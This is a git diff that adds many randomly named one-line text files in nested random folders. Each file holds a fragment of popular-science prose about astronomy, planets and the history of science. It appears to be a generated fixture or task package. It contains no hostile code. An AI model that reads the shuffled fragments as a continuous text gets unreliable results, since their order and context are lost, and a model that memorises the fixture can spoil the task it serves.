+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_ulsabzeeviomgxv.txt
@@ -0,0 +1 @@
+been performing such experiments for only some thirty years. Nature has had a four-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_xdhbtoloblheohutwmvzsspc.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_xdhbtoloblheohutwmvzsspc.txt
new file mode 100644
index 0000000..5c3a7c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_xdhbtoloblheohutwmvzsspc.txt
@@ -0,0 +1 @@
+been performing such experiments for only some thirty years. Nature has had a four-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_xkwsgdxrsgqdifeu.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_xkwsgdxrsgqdifeu.txt
new file mode 100644
index 0000000..5c3a7c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_xkwsgdxrsgqdifeu.txt
@@ -0,0 +1 @@
+been performing such experiments for only some thirty years. Nature has had a four-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_xmfoiqhweqf.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_xmfoiqhweqf.txt
new file mode 100644
index 0000000..5c3a7c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/file_xmfoiqhweqf.txt
@@ -0,0 +1 @@
+been performing such experiments for only some thirty years. Nature has had a four-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/hcmufyignlypwidcpxuyhu.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/hcmufyignlypwidcpxuyhu.txt
new file mode 100644
index 0000000..11f5e23
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/hcmufyignlypwidcpxuyhu.txt
@@ -0,0 +1 @@
+again driven through waves and weather by the distant Moon and Sun. The beach also
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/hrlwxabbda.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/hrlwxabbda.txt
new file mode 100644
index 0000000..85e7c0b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/hrlwxabbda.txt
@@ -0,0 +1 @@
+ultraviolet light from the Sun and recombined with water there to form sulfuric acid - which
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/hsxwzexorsewuy.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/hsxwzexorsewuy.txt
new file mode 100644
index 0000000..bd834b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/hsxwzexorsewuy.txt
@@ -0,0 +1 @@
+Galaxy is pulsing and humming with advanced societies, and, therefore, that the nearest
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/kofnunjfzdugpbwj.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/kofnunjfzdugpbwj.txt
new file mode 100644
index 0000000..18d914d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/kofnunjfzdugpbwj.txt
@@ -0,0 +1 @@
+Sun and slowed down on retreating from it. Somehow the distant planets sensed the Sun’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/luuybjrjq.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/luuybjrjq.txt
new file mode 100644
index 0000000..f8833a8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/luuybjrjq.txt
@@ -0,0 +1 @@
+heating the ice, and releasing the ancient Martian atmosphere from its long captivity. We
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/mtllopkelqrlomrywjdu.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/mtllopkelqrlomrywjdu.txt
new file mode 100644
index 0000000..b7caaa8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/mtllopkelqrlomrywjdu.txt
@@ -0,0 +1 @@
+Running water, windblown sand and mountain-building are very slow processes. But over
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/pcbymmlyirovbiuuss.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/pcbymmlyirovbiuuss.txt
new file mode 100644
index 0000000..7dcc18d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/pcbymmlyirovbiuuss.txt
@@ -0,0 +1 @@
+of different densities and forces, and thereby to vary the laws of Nature, and make
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/sxtiukpcpglpzfx.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/sxtiukpcpglpzfx.txt
new file mode 100644
index 0000000..15ca77a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/sxtiukpcpglpzfx.txt
@@ -0,0 +1 @@
+storms produce brilliant flares that disrupt radio communications on Earth; and immense
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/vxyihotimuxhfxyuqnqwcl.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/vxyihotimuxhfxyuqnqwcl.txt
new file mode 100644
index 0000000..a0ef44f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/vxyihotimuxhfxyuqnqwcl.txt
@@ -0,0 +1 @@
+wrong. But science is a self-correcting enterprise. To be accepted, all new ideas must
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/yjsbzbspx.txt b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/yjsbzbspx.txt
new file mode 100644
index 0000000..84aae3c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zxncalkvzm/folder_hkiidieivo/folder_twetoshuzp/folder_bhugdqffps/yjsbzbspx.txt
@@ -0,0 +1 @@
+the broth. As time passed, more elaborate and more accurate self-replicating molecules
\ No newline at end of file
diff --git a/big_zip/big-zip-files/foscvapeukcj.txt b/big_zip/big-zip-files/foscvapeukcj.txt
new file mode 100644
index 0000000..fb581f4
--- /dev/null
+++ b/big_zip/big-zip-files/foscvapeukcj.txt
@@ -0,0 +1 @@
+it crosses nearly ten trillion kilometers, about six trillion miles, of intervening space. That
\ No newline at end of file
diff --git a/big_zip/big-zip-files/fozjmvtltsrrnlinlvika.txt b/big_zip/big-zip-files/fozjmvtltsrrnlinlvika.txt
new file mode 100644
index 0000000..8275976
--- /dev/null
+++ b/big_zip/big-zip-files/fozjmvtltsrrnlinlvika.txt
@@ -0,0 +1 @@
+‘What are you? From where did you come? I have never seen anything like you.’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/fqyrjgsncfofueunn.txt b/big_zip/big-zip-files/fqyrjgsncfofueunn.txt
new file mode 100644
index 0000000..dd3aa11
--- /dev/null
+++ b/big_zip/big-zip-files/fqyrjgsncfofueunn.txt
@@ -0,0 +1 @@
+and its moons are a kind of miniature solar system of diverse and exquisite worlds with
\ No newline at end of file
diff --git a/big_zip/big-zip-files/fudfsewmaafsbniiyktzr.txt b/big_zip/big-zip-files/fudfsewmaafsbniiyktzr.txt
new file mode 100644
index 0000000..c3d4623
--- /dev/null
+++ b/big_zip/big-zip-files/fudfsewmaafsbniiyktzr.txt
@@ -0,0 +1 @@
+sound, creating a shock wave, a small sonic boom. A thunderclap has a similar origin. It
\ No newline at end of file
diff --git a/big_zip/big-zip-files/fvrapzgdkhtotqqwxntpkdg.txt b/big_zip/big-zip-files/fvrapzgdkhtotqqwxntpkdg.txt
new file mode 100644
index 0000000..d0de558
--- /dev/null
+++ b/big_zip/big-zip-files/fvrapzgdkhtotqqwxntpkdg.txt
@@ -0,0 +1 @@
+something removed from everyday life. But these are the laws our planet obeys as we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/fvwfxrzdgyvljfwfogpz.txt b/big_zip/big-zip-files/fvwfxrzdgyvljfwfogpz.txt
new file mode 100644
index 0000000..c84982e
--- /dev/null
+++ b/big_zip/big-zip-files/fvwfxrzdgyvljfwfogpz.txt
@@ -0,0 +1 @@
+explored, we will also have put our planet in order. We will have the will and the resources
\ No newline at end of file
diff --git a/big_zip/big-zip-files/fwuybefdoofkyrvgouwz.txt b/big_zip/big-zip-files/fwuybefdoofkyrvgouwz.txt
new file mode 100644
index 0000000..c3d413b
--- /dev/null
+++ b/big_zip/big-zip-files/fwuybefdoofkyrvgouwz.txt
@@ -0,0 +1 @@
+returned by Mars 3, it should have landed successfully on the red planet. But after landing,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/fxmywnktcrvdeqkmfe.txt b/big_zip/big-zip-files/fxmywnktcrvdeqkmfe.txt
new file mode 100644
index 0000000..08e182b
--- /dev/null
+++ b/big_zip/big-zip-files/fxmywnktcrvdeqkmfe.txt
@@ -0,0 +1 @@
+have been changing. Consider the present configuration of the Big Dipper, or Great Bear.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/fyhcvbucfglxobq.txt b/big_zip/big-zip-files/fyhcvbucfglxobq.txt
new file mode 100644
index 0000000..cfa0289
--- /dev/null
+++ b/big_zip/big-zip-files/fyhcvbucfglxobq.txt
@@ -0,0 +1 @@
+twelve commanders on the side of light; and the seven planets are said to be the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/fyhthtqanefcqiqkwmpst.txt b/big_zip/big-zip-files/fyhthtqanefcqiqkwmpst.txt
new file mode 100644
index 0000000..fc31667
--- /dev/null
+++ b/big_zip/big-zip-files/fyhthtqanefcqiqkwmpst.txt
@@ -0,0 +1 @@
+of the Sun in the morning after its troublesome absence at night were noted by people
\ No newline at end of file
diff --git a/big_zip/big-zip-files/fymuoazrfsnxecsvgtzn.txt b/big_zip/big-zip-files/fymuoazrfsnxecsvgtzn.txt
new file mode 100644
index 0000000..04fa426
--- /dev/null
+++ b/big_zip/big-zip-files/fymuoazrfsnxecsvgtzn.txt
@@ -0,0 +1 @@
+parishioners. They dragged her from her chariot, tore off her clothes, and, armed withabalone shells, flayed her flesh from her bones. Her remains were burned, her works
\ No newline at end of file
diff --git a/big_zip/big-zip-files/fzkzwxylpgnoeoxtt.txt b/big_zip/big-zip-files/fzkzwxylpgnoeoxtt.txt
new file mode 100644
index 0000000..56068d9
--- /dev/null
+++ b/big_zip/big-zip-files/fzkzwxylpgnoeoxtt.txt
@@ -0,0 +1 @@
+your relative motion - must give way. That is why you shrink. That is the reason for time
\ No newline at end of file
diff --git a/big_zip/big-zip-files/fzucrufdpuplrinccgm.txt b/big_zip/big-zip-files/fzucrufdpuplrinccgm.txt
new file mode 100644
index 0000000..988ae9d
--- /dev/null
+++ b/big_zip/big-zip-files/fzucrufdpuplrinccgm.txt
@@ -0,0 +1 @@
+Antarctic dry valleys), or elsewhere on the planet, or in some earlier, more clement time.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/gbdmyfpixqbrlmkzys.txt b/big_zip/big-zip-files/gbdmyfpixqbrlmkzys.txt
new file mode 100644
index 0000000..1fe13dc
--- /dev/null
+++ b/big_zip/big-zip-files/gbdmyfpixqbrlmkzys.txt
@@ -0,0 +1 @@
+beings inhabit Mars might be similarly compelling. For life to be detected on Mars
\ No newline at end of file
diff --git a/big_zip/big-zip-files/gbeflxegbqgh.txt b/big_zip/big-zip-files/gbeflxegbqgh.txt
new file mode 100644
index 0000000..0a6247a
--- /dev/null
+++ b/big_zip/big-zip-files/gbeflxegbqgh.txt
@@ -0,0 +1 @@
+- The Icelandic Edda of Snorri Sturluson, 1200
\ No newline at end of file
diff --git a/big_zip/big-zip-files/gctmujtpbeuowqktskbdwwc.txt b/big_zip/big-zip-files/gctmujtpbeuowqktskbdwwc.txt
new file mode 100644
index 0000000..d024d58
--- /dev/null
+++ b/big_zip/big-zip-files/gctmujtpbeuowqktskbdwwc.txt
@@ -0,0 +1 @@
+protected against intense ultraviolet light. Some of those organisms may have been staples
\ No newline at end of file
diff --git a/big_zip/big-zip-files/gdejqcrteheraawufydir.txt b/big_zip/big-zip-files/gdejqcrteheraawufydir.txt
new file mode 100644
index 0000000..872a221
--- /dev/null
+++ b/big_zip/big-zip-files/gdejqcrteheraawufydir.txt
@@ -0,0 +1 @@
+disk-shaped clouds of gas and dust around some of the nearby stars. Meanwhile, some
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ggjvczcruzkkmftr.txt b/big_zip/big-zip-files/ggjvczcruzkkmftr.txt
new file mode 100644
index 0000000..2942304
--- /dev/null
+++ b/big_zip/big-zip-files/ggjvczcruzkkmftr.txt
@@ -0,0 +1 @@
+accusations of witchcraft, including minor physical ailments that the burghers of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ggpvwvhmzbhvzwcpahfzf.txt b/big_zip/big-zip-files/ggpvwvhmzbhvzwcpahfzf.txt
new file mode 100644
index 0000000..ad66861
--- /dev/null
+++ b/big_zip/big-zip-files/ggpvwvhmzbhvzwcpahfzf.txt
@@ -0,0 +1 @@
+which we ordinarily think of as so natural and inevitable. We have five fingers because we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/gigulxxejwckol.txt b/big_zip/big-zip-files/gigulxxejwckol.txt
new file mode 100644
index 0000000..769fa4c
--- /dev/null
+++ b/big_zip/big-zip-files/gigulxxejwckol.txt
@@ -0,0 +1 @@
+journey to the stars.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/gkfhhpvyoajvjmdthlpo.txt b/big_zip/big-zip-files/gkfhhpvyoajvjmdthlpo.txt
new file mode 100644
index 0000000..17dbe07
--- /dev/null
+++ b/big_zip/big-zip-files/gkfhhpvyoajvjmdthlpo.txt
@@ -0,0 +1 @@
+another method was perfected by evolution; it works superbly well and is central to any
\ No newline at end of file
diff --git a/big_zip/big-zip-files/gkfzsbtnuklomoeihnr.txt b/big_zip/big-zip-files/gkfzsbtnuklomoeihnr.txt
new file mode 100644
index 0000000..0f91875
--- /dev/null
+++ b/big_zip/big-zip-files/gkfzsbtnuklomoeihnr.txt
@@ -0,0 +1 @@
+the Sun than is the Earth, its temperatures are considerably lower. Its air is thin, containing
\ No newline at end of file
diff --git a/big_zip/big-zip-files/gkqhpxxarsxwxqn.txt b/big_zip/big-zip-files/gkqhpxxarsxwxqn.txt
new file mode 100644
index 0000000..a3e0a9f
--- /dev/null
+++ b/big_zip/big-zip-files/gkqhpxxarsxwxqn.txt
@@ -0,0 +1 @@
+UFOs and ancient astronauts, that our civilization has not yet been discovered?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/gkwjldgxkzflahh.txt b/big_zip/big-zip-files/gkwjldgxkzflahh.txt
new file mode 100644
index 0000000..b9d178b
--- /dev/null
+++ b/big_zip/big-zip-files/gkwjldgxkzflahh.txt
@@ -0,0 +1 @@
+early history of galaxies. In that case, the more distant the galaxy, the earlier in its history
\ No newline at end of file
diff --git a/big_zip/big-zip-files/gmdzwcfh.txt b/big_zip/big-zip-files/gmdzwcfh.txt
new file mode 100644
index 0000000..57a2aaf
--- /dev/null
+++ b/big_zip/big-zip-files/gmdzwcfh.txt
@@ -0,0 +1 @@
+However the Earth’s gravity has managed to nudge Venus into this Earth-locked rotation
\ No newline at end of file
diff --git a/big_zip/big-zip-files/gnvqxpacdymyijixhdb.txt b/big_zip/big-zip-files/gnvqxpacdymyijixhdb.txt
new file mode 100644
index 0000000..5511d0a
--- /dev/null
+++ b/big_zip/big-zip-files/gnvqxpacdymyijixhdb.txt
@@ -0,0 +1 @@
+reproduce without human intervention.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/gqnfawhjzrstw.txt b/big_zip/big-zip-files/gqnfawhjzrstw.txt
new file mode 100644
index 0000000..fdefaef
--- /dev/null
+++ b/big_zip/big-zip-files/gqnfawhjzrstw.txt
@@ -0,0 +1 @@
+pitched wail. If we knew what the ordinary pitch of the horn was when the car was at rest,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/gqoghzrxnfzxve.txt b/big_zip/big-zip-files/gqoghzrxnfzxve.txt
new file mode 100644
index 0000000..4d36036
--- /dev/null
+++ b/big_zip/big-zip-files/gqoghzrxnfzxve.txt
@@ -0,0 +1 @@
+Earth is forever humming fa and mi, and that they stand in a straightforward way for the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/gsozpsblaquyqubqzmzbvdhn.txt b/big_zip/big-zip-files/gsozpsblaquyqubqzmzbvdhn.txt
new file mode 100644
index 0000000..ec7cd15
--- /dev/null
+++ b/big_zip/big-zip-files/gsozpsblaquyqubqzmzbvdhn.txt
@@ -0,0 +1 @@
+that there would be at the very least one thing we could talk about: radio astronomy.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/gubhbqcbyabdpbm.txt b/big_zip/big-zip-files/gubhbqcbyabdpbm.txt
new file mode 100644
index 0000000..38ef8be
--- /dev/null
+++ b/big_zip/big-zip-files/gubhbqcbyabdpbm.txt
@@ -0,0 +1 @@
+inquiries about filming in Kaluga, U.S.S.R., for a proposed discussion of the life of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/guhdpkchn.txt b/big_zip/big-zip-files/guhdpkchn.txt
new file mode 100644
index 0000000..833a5aa
--- /dev/null
+++ b/big_zip/big-zip-files/guhdpkchn.txt
@@ -0,0 +1 @@
+unable to acquire the sample vital to the projected chemistry and biology experiments.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/guhmqinbazvgovwjxf.txt b/big_zip/big-zip-files/guhmqinbazvgovwjxf.txt
new file mode 100644
index 0000000..90a22bb
--- /dev/null
+++ b/big_zip/big-zip-files/guhmqinbazvgovwjxf.txt
@@ -0,0 +1 @@
+Martian soil, they must take in food and give off waste gases; or they must take in gases
\ No newline at end of file
diff --git a/big_zip/big-zip-files/gwkbakqqr.txt b/big_zip/big-zip-files/gwkbakqqr.txt
new file mode 100644
index 0000000..23968b7
--- /dev/null
+++ b/big_zip/big-zip-files/gwkbakqqr.txt
@@ -0,0 +1 @@
+clear. Worlds have been devastated. Even we humans have achieved the dubious technical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/gwpknueybwxg.txt b/big_zip/big-zip-files/gwpknueybwxg.txt
new file mode 100644
index 0000000..37626f9
--- /dev/null
+++ b/big_zip/big-zip-files/gwpknueybwxg.txt
@@ -0,0 +1 @@
+to thank the good ones.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/gxvdvbvlrvqpxrwlyfvhjea.txt b/big_zip/big-zip-files/gxvdvbvlrvqpxrwlyfvhjea.txt
new file mode 100644
index 0000000..d7d01d4
--- /dev/null
+++ b/big_zip/big-zip-files/gxvdvbvlrvqpxrwlyfvhjea.txt
@@ -0,0 +1 @@
+Each of the three microbiology experiments asked a different kind of question, but
\ No newline at end of file
diff --git a/big_zip/big-zip-files/gzcicadxxdhdlazay.txt b/big_zip/big-zip-files/gzcicadxxdhdlazay.txt
new file mode 100644
index 0000000..74860c8
--- /dev/null
+++ b/big_zip/big-zip-files/gzcicadxxdhdlazay.txt
@@ -0,0 +1 @@
+glowing intergalactic gas, galaxies, planets, everything - on the inside. I am not sure I like the idea.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/gzmlzunurqco.txt b/big_zip/big-zip-files/gzmlzunurqco.txt
new file mode 100644
index 0000000..a613648
--- /dev/null
+++ b/big_zip/big-zip-files/gzmlzunurqco.txt
@@ -0,0 +1 @@
+about seven degrees along the surface of the Earth; that is, if you imagine the sticks
\ No newline at end of file
diff --git a/big_zip/big-zip-files/gzunuopftivut.txt b/big_zip/big-zip-files/gzunuopftivut.txt
new file mode 100644
index 0000000..531d6e8
--- /dev/null
+++ b/big_zip/big-zip-files/gzunuopftivut.txt
@@ -0,0 +1 @@
+to invent a name for an extremely large number - ten to the power one hundred (10 100 ), a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/hbmvswuso.txt b/big_zip/big-zip-files/hbmvswuso.txt
new file mode 100644
index 0000000..3f3572a
--- /dev/null
+++ b/big_zip/big-zip-files/hbmvswuso.txt
@@ -0,0 +1 @@
+complex hydrocarbon molecules and hydrogen gas. The hydrocarbons should remain on
\ No newline at end of file
diff --git a/big_zip/big-zip-files/hcfiukmxxznnhrhujg.txt b/big_zip/big-zip-files/hcfiukmxxznnhrhujg.txt
new file mode 100644
index 0000000..961c577
--- /dev/null
+++ b/big_zip/big-zip-files/hcfiukmxxznnhrhujg.txt
@@ -0,0 +1 @@
+certain assumptions. We try, as well as we can, not to assume that life elsewhere will be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/hcigdurjdsdxppicqek.txt b/big_zip/big-zip-files/hcigdurjdsdxppicqek.txt
new file mode 100644
index 0000000..a41846d
--- /dev/null
+++ b/big_zip/big-zip-files/hcigdurjdsdxppicqek.txt
@@ -0,0 +1 @@
+we tend not to think of it much. But what we do not consider we are unlikely to put right.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/hcshrptzbru.txt b/big_zip/big-zip-files/hcshrptzbru.txt
new file mode 100644
index 0000000..e4e8f3a
--- /dev/null
+++ b/big_zip/big-zip-files/hcshrptzbru.txt
@@ -0,0 +1 @@
+my own enzymes, if I consciously had to remember and direct all the chemical steps
\ No newline at end of file
diff --git a/big_zip/big-zip-files/hcwfqhgxmgactlgupuvjji.txt b/big_zip/big-zip-files/hcwfqhgxmgactlgupuvjji.txt
new file mode 100644
index 0000000..9e17d8b
--- /dev/null
+++ b/big_zip/big-zip-files/hcwfqhgxmgactlgupuvjji.txt
@@ -0,0 +1 @@
+the actual interstellar spacecraft we will one day build than Leonardo’s models are from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/hczpmrstcfz.txt b/big_zip/big-zip-files/hczpmrstcfz.txt
new file mode 100644
index 0000000..87b2d65
--- /dev/null
+++ b/big_zip/big-zip-files/hczpmrstcfz.txt
@@ -0,0 +1 @@
+Mars; even then, the winds might blow the dust off the polar caps. A better way would be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/heacmdencfnuswak.txt b/big_zip/big-zip-files/heacmdencfnuswak.txt
new file mode 100644
index 0000000..6d1beb9
--- /dev/null
+++ b/big_zip/big-zip-files/heacmdencfnuswak.txt
@@ -0,0 +1 @@
+So I style it ‘The Way.’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/hehqscbcpnublxaybula.txt b/big_zip/big-zip-files/hehqscbcpnublxaybula.txt
new file mode 100644
index 0000000..6fa2414
--- /dev/null
+++ b/big_zip/big-zip-files/hehqscbcpnublxaybula.txt
@@ -0,0 +1 @@
+cloud arising from the unilluminated part of the Moon, suddenly struck by the Sun’s rays.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/henbmugabzzqokxpydbsufai.txt b/big_zip/big-zip-files/henbmugabzzqokxpydbsufai.txt
new file mode 100644
index 0000000..e7377ff
--- /dev/null
+++ b/big_zip/big-zip-files/henbmugabzzqokxpydbsufai.txt
@@ -0,0 +1 @@
+Ptolemys, the Greek kings who inherited the Egyptian portion of the empire of Alexander
\ No newline at end of file
diff --git a/big_zip/big-zip-files/hhqpobbwl.txt b/big_zip/big-zip-files/hhqpobbwl.txt
new file mode 100644
index 0000000..a65cf7f
--- /dev/null
+++ b/big_zip/big-zip-files/hhqpobbwl.txt
@@ -0,0 +1 @@
+Human Race Due for Free Gaseous Bath,’ ‘Expect “High Jinks,”’ ‘Many Feel Cyanogen
\ No newline at end of file
diff --git a/big_zip/big-zip-files/hhrqhaqqwgwgeoijgnievqt.txt b/big_zip/big-zip-files/hhrqhaqqwgwgeoijgnievqt.txt
new file mode 100644
index 0000000..6dc0c1c
--- /dev/null
+++ b/big_zip/big-zip-files/hhrqhaqqwgwgeoijgnievqt.txt
@@ -0,0 +1 @@
+constructed locally would be a slow process. Eventually a second-generation mission of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/hjezfeetfgpo.txt b/big_zip/big-zip-files/hjezfeetfgpo.txt
new file mode 100644
index 0000000..b496410
--- /dev/null
+++ b/big_zip/big-zip-files/hjezfeetfgpo.txt
@@ -0,0 +1 @@
+sky; of dragons and sea monsters; of everyday eating utensils made of gold; of a beast with
\ No newline at end of file
diff --git a/big_zip/big-zip-files/hkpqijxokeigqxfplafskhvf.txt b/big_zip/big-zip-files/hkpqijxokeigqxfplafskhvf.txt
new file mode 100644
index 0000000..058f8b8
--- /dev/null
+++ b/big_zip/big-zip-files/hkpqijxokeigqxfplafskhvf.txt
@@ -0,0 +1 @@
+of our own origins?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/hlbummkhnqv.txt b/big_zip/big-zip-files/hlbummkhnqv.txt
new file mode 100644
index 0000000..2570abf
--- /dev/null
+++ b/big_zip/big-zip-files/hlbummkhnqv.txt
@@ -0,0 +1 @@
+We must be willing to challenge courageously the conventional social, political, economic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/hllhxlvvdgiii.txt b/big_zip/big-zip-files/hllhxlvvdgiii.txt
new file mode 100644
index 0000000..7680f0e
--- /dev/null
+++ b/big_zip/big-zip-files/hllhxlvvdgiii.txt
@@ -0,0 +1 @@
+elapsed since the Big Bang. Almost all record of the passage of the universe from then tonow has been scattered by the winds of time. The evidence of cosmic evolution has been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/hlwulnwujjmmoezjm.txt b/big_zip/big-zip-files/hlwulnwujjmmoezjm.txt
new file mode 100644
index 0000000..ae703bf
--- /dev/null
+++ b/big_zip/big-zip-files/hlwulnwujjmmoezjm.txt
@@ -0,0 +1 @@
+on its way to the stars. The patterns of Nature are everywhere the same. An interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/hmdkumdh.txt b/big_zip/big-zip-files/hmdkumdh.txt
new file mode 100644
index 0000000..970c393
--- /dev/null
+++ b/big_zip/big-zip-files/hmdkumdh.txt
@@ -0,0 +1 @@
+of distant nuclear fusion.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/hoabnwdmqxtvjidouyl.txt b/big_zip/big-zip-files/hoabnwdmqxtvjidouyl.txt
new file mode 100644
index 0000000..9da7cd7
--- /dev/null
+++ b/big_zip/big-zip-files/hoabnwdmqxtvjidouyl.txt
@@ -0,0 +1 @@
+imperfectly symmetrical. There is a small systematic effect that could be understood if the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/hoknooruxubzdylidmxmirpx.txt b/big_zip/big-zip-files/hoknooruxubzdylidmxmirpx.txt
new file mode 100644
index 0000000..5e1a994
--- /dev/null
+++ b/big_zip/big-zip-files/hoknooruxubzdylidmxmirpx.txt
@@ -0,0 +1 @@
+great many years ago an advanced interstellar spacefaring civilization emerged 200 light-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/hoqzvcxttkbxzpdiihkm.txt b/big_zip/big-zip-files/hoqzvcxttkbxzpdiihkm.txt
new file mode 100644
index 0000000..072981e
--- /dev/null
+++ b/big_zip/big-zip-files/hoqzvcxttkbxzpdiihkm.txt
@@ -0,0 +1 @@
+No civilization can possibly survive to an interstellar spacefaring phase unless it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/hozkukutzpzxdkyv.txt b/big_zip/big-zip-files/hozkukutzpzxdkyv.txt
new file mode 100644
index 0000000..16d31b3
--- /dev/null
+++ b/big_zip/big-zip-files/hozkukutzpzxdkyv.txt
@@ -0,0 +1 @@
+If such an impact occurred today it might be mistaken, especially in the panic of the
\ No newline at end of file
